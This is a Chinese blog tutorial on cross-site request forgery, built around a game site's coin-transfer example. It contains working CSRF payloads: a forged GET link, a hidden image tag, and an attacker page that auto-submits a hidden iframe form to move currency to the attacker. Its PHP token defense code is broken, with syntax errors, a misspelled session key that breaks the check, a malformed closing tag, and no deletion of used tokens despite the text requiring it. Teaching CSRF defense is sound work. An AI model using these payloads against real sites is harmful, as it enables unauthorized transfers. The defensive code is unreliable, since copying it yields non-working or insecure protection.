1、簡介
CSRF的全名為Cross-site request forgery,它的中文名為 跨站請求偽造(偽造跨站請求【這樣讀順口一點】)
CSRF是一種夾持用戶在已經(jīng)登陸的web應(yīng)用程序上執(zhí)行非本意的操作的攻擊方式。相比于XSS,CSRF是利用了系統(tǒng)對頁面瀏覽器的信任,XSS則利用了系統(tǒng)對用戶的信任。
2、CSRF攻擊原理
下面為CSRF攻擊原理圖:

由上圖分析我們可以知道構(gòu)成CSRF攻擊是有條件的:
1、客戶端必須一個網(wǎng)站并生成cookie憑證存儲在瀏覽器中
2、該cookie沒有清除,客戶端又tab一個頁面進行訪問別的網(wǎng)站
3、CSRF例子與分析
我們就以游戲虛擬幣轉(zhuǎn)賬為例子進行分析
3.1、簡單級別CSRF攻擊
假設(shè)某游戲網(wǎng)站的虛擬幣轉(zhuǎn)賬是采用GET方式進行操作的,樣式如:
1 http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此時 惡意攻擊者 的網(wǎng)站也構(gòu)建一個相似的鏈接:
1、可以是采用圖片隱藏,頁面一打開就自動進行訪問第三方文章:<img src='攻擊鏈接'>
2、也可以采用js進行相應(yīng)的操作
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID為攻擊的賬號ID
1、假若客戶端已經(jīng)驗證并登陸www.game.com網(wǎng)站,此時客戶端瀏覽器保存了游戲網(wǎng)站的驗證cookie
2、客戶端再tab另一個頁面進行訪問惡意攻擊者的網(wǎng)站,并從惡意攻擊者的網(wǎng)站構(gòu)造的鏈接來訪問游戲網(wǎng)站
3、瀏覽器將會攜帶該游戲網(wǎng)站的cookie進行訪問,刷一下就沒了1000游戲虛擬幣
3.2、中級別CSRF攻擊
游戲網(wǎng)站負(fù)責(zé)人認(rèn)識到了有被攻擊的漏洞,將進行升級改進。
將由鏈接GET提交數(shù)據(jù)改成了表單提交數(shù)據(jù)
//提交數(shù)據(jù)表單
<form action="./Transfer.php" method="POST">
<p>toUserId: <input type="text" name="toUserId" /</p>
<p>vMoney: <input type="text" name="vMoney" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
Transfer.php
1 <?php
2 session_start();
3 if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney'])) #驗證
4 {
5 //相應(yīng)的轉(zhuǎn)賬操作
6 }
7 ?>
惡意攻擊者將會觀察網(wǎng)站的表單形式,并進行相應(yīng)的測試。
首先惡意攻擊者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)進行測試,發(fā)現(xiàn)仍然可以轉(zhuǎn)賬。
那么此時游戲網(wǎng)站所做的更改沒起到任何的防范作用,惡意攻擊者只需要像上面那樣進行攻擊即可達(dá)到目的。
總結(jié):
1、網(wǎng)站開發(fā)者的錯誤點在于沒有使用$_POST進行接收數(shù)據(jù)。當(dāng)$_REQUEST可以接收POST和GET發(fā)來的數(shù)據(jù),因此漏洞就產(chǎn)生了。
3.3、高級別CSRF攻擊
這一次,游戲網(wǎng)站開發(fā)者又再一次認(rèn)識到了錯誤,將進行下一步的改進與升級,將采用POST來接收數(shù)據(jù)
Transfer.php
1 <?php
2 session_start();
3 if (isset($_POST['toUserId'] && isset($_POST['vMoney'])) #驗證
4 {
5 //相應(yīng)的轉(zhuǎn)賬操作
6 }
7 ?>
此時惡意攻擊者就沒有辦法進行攻擊了么?那是不可能的。
惡意攻擊者根據(jù)游戲虛擬幣轉(zhuǎn)賬表單進行偽造了一份一模一樣的轉(zhuǎn)賬表單,并且嵌入到iframe中
嵌套頁面:(用戶訪問惡意攻擊者主機的頁面,即tab的新頁面)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>攻擊者主機頁面</title>
<script type="text/javascript">
function csrf()
{
window.frames['steal'].document.forms[0].submit();
}
</script>
</head>
<body onload="csrf()">
<iframe name="steal" display="none" src="./xsrf.html">
</iframe>
</body>
</html>
表單頁面:(xsrf.html)
<!DOCTYPE html>
<html>
<head>
<title>csrf</title>
</head>
<body>
<form display="none" action="http://www.game.com/Transfer.php" method="post" >
<input type="hidden" name="toUserID" value="20">
<input type="hidden" name="vMoney" value="1000">
</form>
</body>
</html>
客戶端訪問惡意攻擊者的頁面一樣會遭受攻擊。
總結(jié):
CSRF攻擊是 源于Web的隱式身份驗證機制 !Web的身份驗證機制雖然可以保證一個請求是來自于某個用戶的瀏覽器,但卻無法保證該請求是用戶批準(zhǔn)發(fā)送的
4、CSRF防御方法
服務(wù)器端防御:
1、重要數(shù)據(jù)交互采用POST進行接收,當(dāng)然是用POST也不是萬能的,偽造一個form表單即可破解
2、使用驗證碼,只要是涉及到數(shù)據(jù)交互就先進行驗證碼驗證,這個方法可以完全解決CSRF。但是出于用戶體驗考慮,網(wǎng)站不能給所有的操作都加上驗證碼。因此驗證碼只能作為一種輔助手段,不能作為主要解決方案。
3、驗證HTTP Referer字段,該字段記錄了此次HTTP請求的來源地址,最常見的應(yīng)用是圖片防盜鏈。PHP中可以采用APache URL重寫規(guī)則進行防御。
4、為每個表單添加令牌token并驗證
(可以使用cookie或者session進行構(gòu)造。當(dāng)然這個token僅僅只是針對CSRF攻擊,在這前提需要解決好XSS攻擊,否則這里也將會是白忙一場【XSS可以偷取客戶端的cookie】)
CSRF攻擊之所以能夠成功,是因為攻擊者可以偽造用戶的請求,該請求中所有的用戶驗證信息都存在于Cookie中,因此攻擊者可以在不知道這些驗證信息的情況下直接利用用戶自己的Cookie來通過安全驗證。由此可知,抵御CSRF攻擊的關(guān)鍵在于:在請求中放入 攻擊者所不能偽造的信息 ,并且該信息不存在于Cookie之中。
鑒于此,我們將為每一個表單生成一個隨機數(shù)秘鑰,并在服務(wù)器端建立一個攔截器來驗證這個token,如果請求中沒有token或者token內(nèi)容不正確,則認(rèn)為可能是CSRF攻擊而拒絕該請求。
由于這個token是隨機不可預(yù)測的并且是隱藏看不見的,因此惡意攻擊者就不能夠偽造這個表單進行CSRF攻擊了。
要求:
1、要確保同一頁面中每個表單都含有自己唯一的令牌
2、驗證后需要刪除相應(yīng)的隨機數(shù)
構(gòu)造令牌類Token.calss.php
1 <?php
2 class Token
3 {
4 /**
5 * @desc 獲取隨機數(shù)
6 *
7 * @return string 返回隨機數(shù)字符串
8 */
9 private function getTokenValue()
10 {
11 return md5(uniqid(rand(), true).time());
12 }
13
14 /**
15 * @desc 獲取秘鑰
16 *
17 * @param $tokenName string | 與秘鑰值配對成鍵值對存入session中(標(biāo)識符,保證唯一性)
18 *
19 * @return array 返回存儲在session中秘鑰值
20 */
21 public function getToken($tokenName)
22 {
23 $token['name']=$tokenName; #先將$tokenName放入數(shù)組中
24 session_start();
25 if(@$_SESSION[$tokenName]) #判斷該用戶是否存儲了該session
26 { #是,則直接返回已經(jīng)存儲的秘鑰
27 $token['value']=$_SESSION[$tokenName];
28 return $token;
29 }
30 else #否,則生成秘鑰并保存
31 {
32 $token['value']=$this->getTokenValue();
33 $_SESSION[$tokenName]=$token['value'];
34 return $token;
35 }
36 }
37
38 }
39 #測試
40 $csrf=new Token();
41 $name='form1';
42 $a=$csrf->getToken($name);
43 echo "<pre>";
44 print_r($a);
45 echo "</pre>";
46 echo "<pre>";
47 print_r($_SESSION);
48 echo "</pre>";die;
49
50 ?>
表單中使用:
1 <?php
2 session_start();
3 include(”Token.class.php”);
4 $token=new Token();
5 $arr=$token->getToken(‘transfer’); #保證唯一性(標(biāo)識符)
6 ?>
7 <form method=”POST” action=”./transfer.php”>
8 <input type=”text” name=”toUserId”>
9 <input type=”text” name=”vMoney”>
10 <input type="hidden" name="<?php echo $arr['name'] ?>" value="<?php echo $arr['value']?>" >
11 <input type=”submit” name=”submit” value=”Submit”>
12 </from>
驗證:
1 <?php
2 #轉(zhuǎn)賬表單驗證
3 session_start();
4 if($_POST['transfer']==$_SESSION['transger']) #先檢驗秘鑰
5 {
6 if ( &&isset($_POST['toUserId'] && isset($_POST['vMoney'])) #驗證
7 {
8 //相應(yīng)的轉(zhuǎn)賬操作
9 }
10 }
11 else
12 {
13 return false;
14 }
15
16 ?>
該方法套路:
1. 用戶訪問某個表單頁面。
2. 服務(wù)端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中!具@里已經(jīng)不考慮XSS攻擊】
3. 在頁面表單附帶上Token參數(shù)。
4. 用戶提交請求后, 服務(wù)端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致,一致為合法請求,不是則非法請求。
5、參考文獻(xiàn)
1. 《淺談CSRF攻擊方式》
2. 《Web安全之CSRF攻擊》
(以上是自己的一些見解,若有不足或者錯誤的地方請各位指出)
作者:那一葉隨風(fēng) http://www.cnblogs.com/phpstudy2015-6/
|